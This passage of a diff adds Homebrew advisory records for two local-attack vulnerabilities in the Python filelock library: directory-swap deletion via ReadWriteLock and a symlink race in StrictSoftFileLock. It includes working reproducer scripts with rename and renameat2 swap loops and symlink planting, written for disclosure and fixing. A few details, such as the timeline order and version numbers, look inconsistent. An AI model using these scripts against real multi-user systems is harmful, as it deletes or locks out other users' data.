`sha256(host_name())[:16]`. `host_name()` adds a PID-namespace tag only when `/proc/self/ns/pid` is readable, which it is not on macOS or without `/proc`, so any local user can compute the digest, and it is in the name of every link directory the lock user creates. The parser does not look at the suffix.\n\nOne `rename(\"victim_project\", \".filelock-2147483647---x\")` at any time, with no lock held, gets the tree deleted the next time any lock user process on the link route constructs a lock in that directory (a cron job, a CI step, a service restart). #821 made the parser reject non-ASCII digits and out-of-range PIDs; a well-formed name for a PID that is not running still selects the directory for removal.\n\nThe sweep's `rmtree` has a smaller effect that needs no lock user tree and works in a sticky directory, on Python 3.11, where `shutil.rmtree` recurses once per directory level. The other user creates a directory of their own under a forged dead-owner name in a `1777` directory, with 1500 nested subdirectories inside. The first `ReadWriteLock(...)` a lock user process on the link route constructs there raises `RecursionError`, which the `suppress(OSError)` at line 1050 does not catch. A second attempt in the same process skips the sweep and succeeds. Python 3.14 walks the same tree without an error.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-LSSZIUEO`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nshared = \"/tmp/shared-cache\"\nproject = f\"{shared}/victim_project\"\n\n# ReadWriteLock takes the hard-link route (.filelock-* directory beside the database) on macOS, and elsewhere when\n# /proc/self/fd/ is unusable. An empty /proc in a private mount namespace puts unmodified filelock on that route.\nos.unshare(os.CLONE_NEWNS)\nsubprocess.run([\"mount\", \"--make-rprivate\", \"/\"], check=True)\nsubprocess.run([\"mount\", \"-t\", \"tmpfs\", \"tmpfs\", \"/proc\"], check=True)\n\n# set up: a shared directory without the sticky bit, holding the victim's private tree\nshutil.rmtree(shared, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\nos.mkdir(project, 0o700)\nwith open(f\"{project}/notes.txt\", \"w\") as notes_file:\n notes_file.write(\"victim data\\n\")\nshutil.chown(f\"{project}/notes.txt\", \"victim\", \"victim\")\nshutil.chown(project, \"victim\", \"victim\")\n\nrm = subprocess.run([\"runuser\", \"-u\", \"attacker\", \"--\", \"rm\", \"-rf\", project], capture_output=True, text=True)\nprint(\"attacker runs rm -rf on the victim's tree:\", rm.stderr.strip())\nassert os.path.exists(f\"{project}/notes.txt\"), \"setup: the attacker could delete the tree without filelock\"\n\n# the victim takes the write lock and stays in its critical section\nvictim = subprocess.Popen(\n [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"/tmp/repro.d/victim_hold_write_lock.py\"],\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n text=True,\n)\nassert victim.stdout.readline() == \"holding the write lock\\n\", \"setup: the victim did not take the lock\"\nprint(\"while the victim holds the lock:\", sorted(os.listdir(shared)))\n\n# attack\nsubprocess.run([\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, \"/tmp/repro.d/attacker_swap_link_dir.py\"], check=True)\nlink_dir = next(name for name in os.listdir(shared) if name.startswith(\".filelock-\"))\nnotes = f\"{shared}/{link_dir}/notes.txt\"\nprint(\"after the attacker's renames:\", sorted(os.listdir(shared)))\nprint(f\"{notes} exists:\", os.path.exists(notes))\nassert os.path.exists(notes), \"setup: the attacker's renames did not happen\"\n\n# the victim leaves its with block\nvictim.communicate(\"\\n\", timeout=30)\nprint(\"victim exit status:\", victim.returncode)\nprint(\"after the release:\", sorted(os.listdir(shared)))\nprint(f\"{notes} exists:\", os.path.exists(notes))\n\n# check: releasing a lock must not delete the victim's files\nprint(\"BUG\" if not os.path.exists(notes) else \"OK\")\n```\n\n**`repro.d/attacker_swap_link_dir.py`**\n\n```python\nimport os\n\nshared = \"/tmp/shared-cache\"\n\n# both directories are 0700 and owned by victim; renaming them needs write permission on the parent only\nlink_dir = next(name for name in os.listdir(shared) if name.startswith(\".filelock-\"))\nos.rename(f\"{shared}/{link_dir}\", f\"{shared}/moved-aside\")\nos.rename(f\"{shared}/victim_project\", f\"{shared}/{link_dir}\")\n```\n\n**`repro.d/victim_hold_write_lock.py`**\n\n```python\nimport sys\n\nfrom filelock import ReadWriteLock\n\nlock = ReadWriteLock(\"/tmp/shared-cache/cache.db\")\nwith lock.write_lock():\n print(\"holding the write lock\", flush=True)\n sys.stdin.readline() # stands for the work the lock protects; it ends when repro sends a line\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as other local user\n participant V as lock user's process (link route)\n participant K as filesystem (parent 0777, no sticky bit)\n rect rgb(255, 214, 214)\n Note over A,K: filelock 4.1.0 to 4.2.0 on macOS, or POSIX without /proc\n V->>K: mkdtemp(.filelock-PID--DIGEST-XXXX) mode 0700, link cache.db inside as lock.db\n V->>K: BEGIN EXCLUSIVE, write lock held\n A->>K: rename(.filelock-PID--DIGEST-XXXX, moved-aside)\n A->>K: rename(victim_project, .filelock-PID--DIGEST-XXXX)\n V->>K: release() calls shutil.rmtree(\".filelock-PID--DIGEST-XXXX\")\n Note over V,K: victim_project and notes.txt are gone, exit status 0, moved-aside/lock.db stays\n A->>K: later, with no lock held, rename(any directory, .filelock-2147483647--DIGEST-x)\n V->>K: next ReadWriteLock(...) in that directory sweeps dead owners by name and rmtree's the forged one\n end\n```\n\n## Evidence\n\nThe scanner's reproducer needs no race. It enters a private mount namespace and mounts an empty tmpfs over `/proc` for itself and its children (the only non-default condition, standing in for macOS). It creates `/tmp/shared-cache` (`0777`, no sticky bit) with `victim_project/notes.txt` (`0700`, owned by `victim`), shows that `rm -rf` on that tree as `attacker` fails with `Permission denied`, runs the `victim` program (`ReadWriteLock(\"/tmp/shared-cache/cache.db\")` + `with lock.write_lock():`) and the `attacker` renames, then lets the `victim` program release. Expected output on the scanned commit:\n\n```\nattacker runs rm -rf on the victim's tree: rm: cannot remove '/tmp/shared-cache/victim_project': Permission denied\nwhile the victim holds the lock: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'victim_project']\nafter the attacker's renames: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'moved-aside']\n/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: True\nvictim exit status: 0\nafter the release: ['cache.db', 'moved-aside']\n/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: False\nBUG\n```\n\nThe scanner showed the sweep variant by hand with the same setup and no lock held. As `attacker`, one rename of `victim_project` to `.filelock-2147483647---x` with ` = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16]`, then `ReadWriteLock(\"/tmp/shared-cache/cache.db\")` as `victim` with `/proc` hidden. `notes.txt` is gone after the constructor returns and the directory contains only `cache.db`.\n\nOur verification: `BUG` on `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head: `OK`; the listing after the release is `['.filelock-12--4fd1986a778d5977-amfxfd9k', 'cache.db', 'moved-aside']`, `notes.txt exists: True`, and the `victim` program exits 0. Neither the scanner nor the review executed on macOS; the macOS claim rests on the `descriptor_usable` branch and the identical code after it.\n\n## Impact\n\nThe other user chooses any directory that sits in the shared parent, and the lock user's process deletes it and everything in it with the lock user's permissions and no error; the lock user's program reports success. Without filelock that user can rename such a directory but cannot remove a non-empty one whose contents they have no permission on. With filelock the lock user's process destroys the contents. The release variant needs two `rename` calls at any point while the lock user holds the lock and wins no race against filelock's own code. The sweep variant needs one rename and no held lock, and fires on the next lock construction by any lock user process in that directory. The real link directory stays under its new name with an extra hard link to the database.\n\nIt is **not** reachable on stock Linux with `/proc` mounted at 4.2.0. The release variant is **not** reachable in a sticky directory. This is the same position as in GHSA-j8f7-rjxc-mr56 (a user who can change names in a shared lock directory). Here the name is the derived `.filelock-*` directory rather than the database, and the redirected operation is a recursive delete.\n\n## Workarounds\n\n- On macOS, and on any POSIX system where `/proc/self/fd` is unavailable, keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory.\n- Do not keep other directories of value beside a lock database in a directory other accounts can write; the deletion targets are siblings of the database.\n- On Linux with `/proc` mounted, 4.2.0 does not take the link route and needs no workaround for this finding.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it\n- 2026-10-16 01:15 UTC: fix PR #834 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-jqc4-5cvw-7w85" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112937" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/834" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112938.json b/advisories/BREW-virtualenv-CVE-2026-112938.json new file mode 100644 index 00000000000..7e9d0c22330 --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112938.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112938", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-m462-7rxw-wvpg", + "CVE-2026-112938" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "21.7.0" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: StrictSoftFileLock follows a symbolic link swapped in at .filelock and creates claim files in a directory another local user chooses", + "details": "`StrictSoftFileLock` and `AsyncStrictSoftFileLock` check `.filelock` (the coordination directory that holds the lock's state) with one `lstat` call on its name. `lstat` reports what a name is without following a symbolic link (a file that redirects to another path). After that check, the code reaches `.filelock/claims` by pathname for every later operation (`mkdir`, scan, publish, link, unlink). `_open_directory` passes `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link), but the flag covers only the final `claims` component. The kernel follows a symbolic link in any earlier component.\n\nAnother local user (the other user below) who can rename `.filelock` exchanges it for a symbolic link after the check. In a shared directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it), any user with write access can do this. Where the shared directory is sticky, such as `/tmp`, only the user who created `.filelock` before the user running the lock (the lock user below) first used it can. The lock user's process (root's, if root takes the lock) then creates a `claims` directory and claim files (the files whose presence says a process wants or holds the lock) inside a directory the other user chooses but only the lock user can write.\n\nWhen the link points at another strict lock's `.filelock` directory, the stranded claims make that lock time out for every process until an operator finds and force-breaks each one. The `claims` property and `force_break()` resolve the same path with no check at all. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-SVFEYX89`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H, 5.8 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the swap must land between the `lstat` and the next `mkdir`. The other user does not aim at that window. It flips the name in a loop with `renameat2(RENAME_EXCHANGE)` (a system call that swaps two names in one step) across repeated acquires, and won after 1 to 31 runs of the lock user's program in the scanner's trials. A sticky directory also requires it to have created `.filelock` first. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own.\n\n`C:L` (low confidentiality impact): through `claims`, one file name per planted link from a directory only the lock user can list. `I:L` (low integrity impact): a directory named `claims` and files with filelock's fixed claim names and contents appear, created with the lock user's privileges, in a directory the other user chooses but cannot write. The process overwrites or truncates nothing that exists. `A:H` (high availability impact): aimed at another strict lock of the lock user, the stranded claims deny that lock to every process until an operator finds and force-breaks each one. Classification from the review: security, conditional on the other user being able to rename the intermediate component. The scanner rated it high (CWE-363).\n\n## Scope and preconditions\n\n- The other user can rename `.filelock`. In a writable directory without the sticky bit (a `0777` or group-writable project or cache directory), any user with write permission on the directory can, even though the lock user created and owns `.filelock`. In a sticky directory such as `/tmp`, only the user who created `.filelock` before the lock user's first use can, because that user then owns both the directory and the symbolic link (the planting precondition of GHSA-9c4x-gm8v-wgc4).\n- The link's target is a directory the lock user can write. The effect that matters is on that directory. An acquire that completes through the link also holds the shared lock with its claims elsewhere, but a user who can rename `.filelock` can defeat that lock's exclusion anyway.\n- `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not interfere. The link is an intermediate path component, not the last one. In the sticky-directory case it also sits in a directory the other user owns.\n- Missed attempts show up to the lock user as `SoftFileLockProtocolError` or `FileNotFoundError`. The swap therefore works against a lock that a program takes more than once: a periodic job, a worker pool, or a caller that retries or waits with a timeout (each poll of a waiting acquisition is a new attempt).\n- The two entry points that need no race (`claims` and `force_break()` on a resting symbolic link) depend on the lock user inspecting or recovering the lock. The planted link invites this by making `acquire()` fail with a protocol error. The `force_break()` variant works only when the lock user breaks claims that name a live process on its own host without checking them first, as the recovery loop in `docs/tutorials.rst` does. `docs/how-to.rst` tells the operator to verify that the named owner is gone before breaking.\n- Platform: POSIX, demonstrated on Linux (tmpfs and overlayfs). Windows has no `dir_fd` (file operations relative to an open directory handle), and on Windows the documented requirement is a lock directory that untrusted users cannot write.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the check and the first use are adjacent lines of [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L123-L128). There, [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L1006) runs `lstat` on `.filelock` and then `mkdir` on `.filelock/claims`. [`_open_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L950-L954) passes `O_DIRECTORY | O_NOFOLLOW` but receives the full `.filelock/claims`. The claim scan goes by pathname in [`_read_existing_claims`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L509-L514) (`directory.exists()`) and [`_list_claim_names`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L433-L439) (`os.scandir(directory)`). So do [`_publish_record`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L572-L596), [`_link_no_replace`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L864-L881), [`_unlink_in_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L912-L939) and the clock probe in [`_filesystem_now`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L745-L763). The [`claims` property](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L235-L239) and [`force_break()`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L260-L267) take the directory from [`_claim_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L314-L318) by string concatenation, and [`_require_exact_name`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L1016-L1019) confirms the name with a by-name `os.scandir`.\n\n## Introduced\n\nThe by-name claim directory came with 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. One effect is newer. The clock-probe files that a swap at `claims` leaves behind need `_filesystem_now`, added in 508d0548538f (\"fix(strict): age private records by the filesystem clock\", #792, 2026-10-07), first released in 4.1.0. Before that commit a claim scan created nothing. We checked both against the git tags.\n\n## Mechanism\n\nOn the benign path, `_ensure_protocol_directory(coordination_directory)` finds `.filelock` to be a real directory, and `_ensure_protocol_directory(claim_directory)` finds `claims` inside it. The doorway (the acquire step that scans existing claims and publishes the caller's own) then publishes into it. A symbolic link resting at `.filelock` stops at the first call with \"is not a real directory\". That answer describes the name at that instant only; nothing carries it forward. With the name exchanged for a link to a directory `T` between the two calls:\n\n- The second call runs `mkdir(\".filelock/claims\")`, which creates `T/claims` with the lock user's credentials. The `mkdir` succeeds, so `_ensure_protocol_directory` returns without looking at anything.\n- `_attempt_doorway` then works in `T/claims` for as long as the name still points there. `_read_existing_claims` uses `directory.exists()` and `os.scandir(directory)`. `_publish_record` opens the claim directory by its full path and creates `.intent-v1-.claim.private-v1-.tmp` and `intent-v1-.claim` (the intent claim, which announces a pending acquire) in it. When its intent wins the scan, `_link_no_replace` adds `held-v1-.claim` (the held claim, which marks the lock as taken). `_open_directory` does pass `O_DIRECTORY | O_NOFOLLOW`, but on `\".filelock/claims\"`, so the flag covers `claims` only.\n- Cleanup resolves the name again. `_unlink_in_directory` opens `.filelock/claims` by path. When the name is back at the real directory by then, the `unlink` gets `ENOENT` (the \"no such file\" error), which `_unlink_owner_path_result` counts as removed. The claim file stays in `T/claims`.\n\nWhen `T/claims` already exists, the `mkdir` takes the `FileExistsError` branch, `lstat` sees a real directory, and the same scan and publication run on the existing directory. With `T/claims` holding a file `secret-name.txt` and an old `.held-v1-.claim.private-v1-.tmp`, the lock user's process raises `SoftFileLockProtocolError: … claim 'secret-name.txt': unknown claim name or protocol version`. `_reclaim_private_record` unlinks the private-record file. `intent-*.claim` files and a clock-probe file from `_filesystem_now` stay behind.\n\nThe window is a few lines of Python between two system calls, but the other user does not aim at it. `renameat2` with `RENAME_EXCHANGE` flips the name in a loop, so each system call of the lock user sees the directory or the link more or less at random. An attempt that sees the link at the `lstat` raises `SoftFileLockProtocolError`. One that sees the directory there and the link at the next `mkdir` is a hit. Four other ways reach the same by-name resolution. The scanner observed each of them at the same commit, with `victim` and `attacker` as separate accounts and default lock options.\n\nThe first way strands claims in another strict lock. With the swapped-in link pointing at the coordination directory of a second lock of the lock user (`/home/victim/private/db.lock.filelock`, parent mode `0700`), 200 acquires of the shared lock left 7 to 17 well-formed `intent-v1-*.claim` and `held-v1-*.claim` files in the second lock's `claims`. No process holds that lock, yet `StrictSoftFileLock(\"/home/victim/private/db.lock\", timeout=1)` raises `Timeout` from then on, until an operator force-breaks each stranded claim.\n\nThe second way swaps one component lower, at `claims`. The claim scan does not use a descriptor (an open handle that stays bound to one directory whatever its name later points to). `os.scandir(directory)`, the record reads, `_reclaim_private_record` (called with its descriptor slot set to `None`) and the clock probe in `_filesystem_now` (`os.open(directory / name, O_CREAT | O_EXCL | O_NOFOLLOW)` followed by `probe.unlink()`) all go by pathname. For a sticky directory, the other user needs to have created `.filelock` first. It then puts a real `claims` directory (mode `1777`) in it with one empty file named `.held-v1-<32 zeros>.claim.private-v1-<32 zeros>.tmp`, so that every scan calls the probe, and exchanges `claims` with a link in a loop.\n\nAfter 200 acquires by the lock user, 14 to 42 one-byte, mode `0600`, lock-user-owned files named `.held-v1-.claim.private-v1-.tmp` are in the `0700` directory the link points to. The probe open went through the link, and the pathname `unlink` ran after `claims` was a directory again and got `ENOENT`. A swap at this level does not affect publication or release, because there `_open_directory`'s `O_NOFOLLOW` does cover `claims`.\n\nThe third way is `claims` with no race. The property calls `_read_existing_claims` on an instance that did not go through `_acquire`, and `directory.exists()` and `os.scandir(directory)` both follow a link. After the other user runs `mkdir /tmp/work.lock.filelock; ln -s /home/victim/private /tmp/work.lock.filelock/claims`, `acquire()` refuses with \"is not a real directory\". The inspection loop from `docs/how-to.rst` (`for claim in lock.claims: ...`) raises `SoftFileLockProtocolError: … claim 'customer-1123f274.db': unknown claim name or protocol version`. That names the first non-hidden entry, in sort order, of a directory the other user cannot list. A missing or empty target returns `()`, a non-directory gives \"Not a directory\" and an unreadable directory \"Permission denied\", so the call also tells those apart.\n\nThe fourth way is `force_break()` with no race. It confirms the name with a by-name `os.scandir` in `_require_exact_name` and unlinks through `_unlink_in_directory`, where `O_NOFOLLOW` again covers `claims` only. After the other user's one command `ln -s /home/victim/private/db.lock.filelock /tmp/service.lock.filelock`, the recovery loop from `docs/tutorials.rst` run by the lock user on `/tmp/service.lock` (`for claim in stale.claims: stale.force_break(claim.name)`) lists and removes the `held` and `intent` claims of the live holder of `/home/victim/private/db.lock`. A second process then acquires that lock while the first is still in its critical section with `is_locked == True`. The first holder's `release()` later finds its claims gone, counts `ENOENT` as removed and returns without error. Only a directory named `claims` below the link's target is reachable, so the targets are other strict locks, not arbitrary files.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-SVFEYX89`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport collections\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\nvictim_job = [sys.executable, \"/tmp/repro.d/victim_job.py\"]\nattacker_swap_loop = [sys.executable, \"/tmp/repro.d/attacker_swap_loop.py\"]\nvictim_uid = pwd.getpwnam(\"victim\").pw_uid\n\n# set up: a directory both users can write (0777, no sticky bit) and one only the victim can write.\n# The shared one is on tmpfs to keep the attacker's rename loop off the container's disk.\nshared = \"/dev/shm/filelock-repro-shared\"\nprivate = \"/tmp/filelock-repro-private\"\nshutil.rmtree(shared, ignore_errors=True)\nshutil.rmtree(private, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\nos.mkdir(private, 0o700)\nshutil.chown(private, \"victim\", \"victim\")\n\nown_mkdir = subprocess.run([\"mkdir\", f\"{private}/claims\"], capture_output=True, text=True, **as_attacker)\nprint(f\"CONTROL attacker's own mkdir: {own_mkdir.stderr.strip()}\")\n\nsubprocess.run([\"ln\", \"-s\", private, f\"{shared}/static.lock.filelock\"], check=True, **as_attacker)\nrefused = subprocess.run([*victim_job, f\"{shared}/static.lock\"], capture_output=True, text=True, check=True, **as_victim)\nprint(f\"CONTROL symlink resting at static.lock.filelock: {refused.stdout.strip()}; private directory holds {os.listdir(private)}\")\n\n# the job has run before, undisturbed, so work.lock.filelock is the victim's own directory\nfirst_run = subprocess.run([*victim_job, f\"{shared}/work.lock\"], capture_output=True, text=True, check=True, **as_victim)\ncoordination = os.lstat(f\"{shared}/work.lock.filelock\")\nprint(f\"CONTROL undisturbed job: {first_run.stdout.strip()}; work.lock.filelock is {stat.filemode(coordination.st_mode)}, owner uid {coordination.st_uid}\")\nprivate_before_attack = os.listdir(private)\nprint(f\"CONTROL private directory holds {private_before_attack}\")\n\n# attack: the attacker keeps exchanging work.lock.filelock with a symlink to the private directory\n# while the job keeps running; each run is one more chance to land between the check and the use\nswapper = subprocess.Popen([*attacker_swap_loop, f\"{shared}/work.lock\", private], **as_attacker)\njob_outcomes = collections.Counter()\nwhile job_outcomes.total() < 200 and not os.listdir(private):\n job = subprocess.run([*victim_job, f\"{shared}/work.lock\"], capture_output=True, text=True, **as_victim)\n job_outcomes[job.stdout.strip()] += 1\nassert swapper.poll() is None, \"the attacker's swap loop stopped on its own\"\nswapper.kill()\nswapper.wait()\n\n# check: the victim's lock created \"claims\" inside the directory the attacker could not write\nprint(f\"OBSERVED {job_outcomes.total()} runs of the job printed {dict(job_outcomes)}\")\nprint(f\"OBSERVED private directory holds {os.listdir(private)}\")\nredirected = False\nif os.path.lexists(f\"{private}/claims\"):\n claims = os.lstat(f\"{private}/claims\")\n print(f\"OBSERVED {private}/claims is {stat.filemode(claims.st_mode)}, owner uid {claims.st_uid} (victim is {victim_uid}), holds {os.listdir(f'{private}/claims')}\")\n redirected = stat.S_ISDIR(claims.st_mode) and claims.st_uid == victim_uid\nprint(\"BUG\" if private_before_attack == [] and redirected else \"OK\")\n```\n\n**`repro.d/attacker_swap_loop.py`**\n\n```python\nimport ctypes\nimport os\nimport sys\nimport time\n\nlock_path, target_directory = sys.argv[1], sys.argv[2]\ncoordination_directory = f\"{lock_path}.filelock\".encode()\nsymlink_to_target = f\"{lock_path}.decoy\".encode()\nos.symlink(target_directory, symlink_to_target)\n\nrenameat2 = ctypes.CDLL(None, use_errno=True).renameat2\nAT_FDCWD = -100\nRENAME_EXCHANGE = 2\ngive_up_at = time.monotonic() + 300\nwhile time.monotonic() < give_up_at:\n # one atomic syscall: the name always exists, as the victim's directory or as the symlink\n if renameat2(AT_FDCWD, coordination_directory, AT_FDCWD, symlink_to_target, RENAME_EXCHANGE) != 0:\n raise OSError(ctypes.get_errno(), \"renameat2(RENAME_EXCHANGE)\")\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import StrictSoftFileLock\n\ntry:\n with StrictSoftFileLock(sys.argv[1], timeout=1):\n print(\"job ran\")\nexcept OSError as error: # filelock.Timeout and SoftFileLockProtocolError are both OSError\n print(f\"job skipped: {type(error).__name__}\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant X as other local user\n participant N as work.lock.filelock (name in shared dir)\n participant V as job of the lock user (StrictSoftFileLock, timeout=1)\n participant T as /tmp/private (0700, lock user only)\n X->>N: plant work.lock.decoy -> T, loop renameat2(RENAME_EXCHANGE)\n rect rgb(207, 228, 255)\n V->>N: lstat work.lock.filelock: a real directory\n end\n rect rgb(255, 214, 214)\n X->>N: exchange lands: name is now the symbolic link to T\n V->>T: mkdir work.lock.filelock/claims creates T/claims (owned by the lock user)\n V->>T: scan, publish intent-v1-.claim, link held-v1-.claim in T/claims\n X->>N: exchange again: name is the directory\n V->>N: release(): unlink by path gets ENOENT, counted as removed\n Note over V,T: T/claims and its claim files stay behind#59; aimed at another lock's .filelock they block that lock\n end\n Note over V,N: a miss: lstat sees the symbolic link, SoftFileLockProtocolError, next run tries again\n```\n\n## Evidence\n\nThe scanner's reproducer (commit b831496, Linux 6.1 x86_64, CPython 3.14, `fs.protected_symlinks=1`) creates `/dev/shm/filelock-repro-shared` (`0777`, no sticky bit) and `/tmp/filelock-repro-private` (`0700`, owned by `victim`). Three controls run first. The other account's own `mkdir` in the private directory answers `Permission denied`. A link resting at `static.lock.filelock` gives `job skipped: SoftFileLockProtocolError` with the private directory holding `[]`. An undisturbed job prints `job ran` and leaves `work.lock.filelock` as `drwxr-xr-x`, owner uid 1000.\n\nThen the swap loop starts and the job (`with StrictSoftFileLock(path, timeout=1)`) runs up to 200 times until the private directory is no longer empty. That took 1 to 8 runs, about 1.5 s in total. Afterwards `claims`, a directory owned by uid 1000 and mode `0755`, is in the private directory; in some runs it holds `intent-v1-.claim` and `held-v1-.claim` files. Verdict `BUG`. In a `1777` directory on tmpfs (a memory-backed filesystem), with the other account having created `.filelock` first, the lock user created `T/claims` after 4, 22 and 2 runs in three trials. The scanner ran the four further cases under Mechanism in separate runs with the same accounts.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`: all 200 runs completed with the private directory empty). The review's regression tests on POSIX cover the `claims`-level swap and the `force_break()` case. We did not verify Windows.\n\n## Impact\n\nAnother local user who can rename `.filelock` makes the lock user's process create a directory named `claims`, mode `0777 & ~umask` (umask: the process's default permission mask), inside any directory that process can write, and leave claim files in it. The other user chooses the location only. filelock fixes the directory name, and the files contain filelock's own claim record (magic, token, PID, host name, start token). The process overwrites or truncates nothing that exists. This amounts to directory and file creation outside the lock's directory with the lock user's privileges, not a write of chosen data.\n\nWhere the chosen directory already has a `claims` subdirectory, the lock user's process also scans it, unlinks entries named like stale private records, and raises an error that quotes the first other file name in it. Aimed at another strict lock's `.filelock` directory, the stranded claims deny that lock to every process until an operator finds and `force_break()`s each one. Without this the other user has no way to affect a lock in a directory it cannot enter. The swap at `claims` leaves one-byte `0600` dot-files instead of claims.\n\nThrough `claims`, another user learns one file name per planted link from a directory only the lock user can list, and whether a guessed path is missing or empty, a file or a directory. This needs the exception text or its `claim_name` to reach that user (a shared log, CI output, an error report); on its own this disclosure is minor. The `force_break()` variant puts two processes inside a different strict lock's critical section, one the other user can neither list nor write, with neither told. That happens only when the lock user runs the tutorial's blind recovery loop.\n\nThis shares only the bug class with GHSA-j8f7-rjxc-mr56 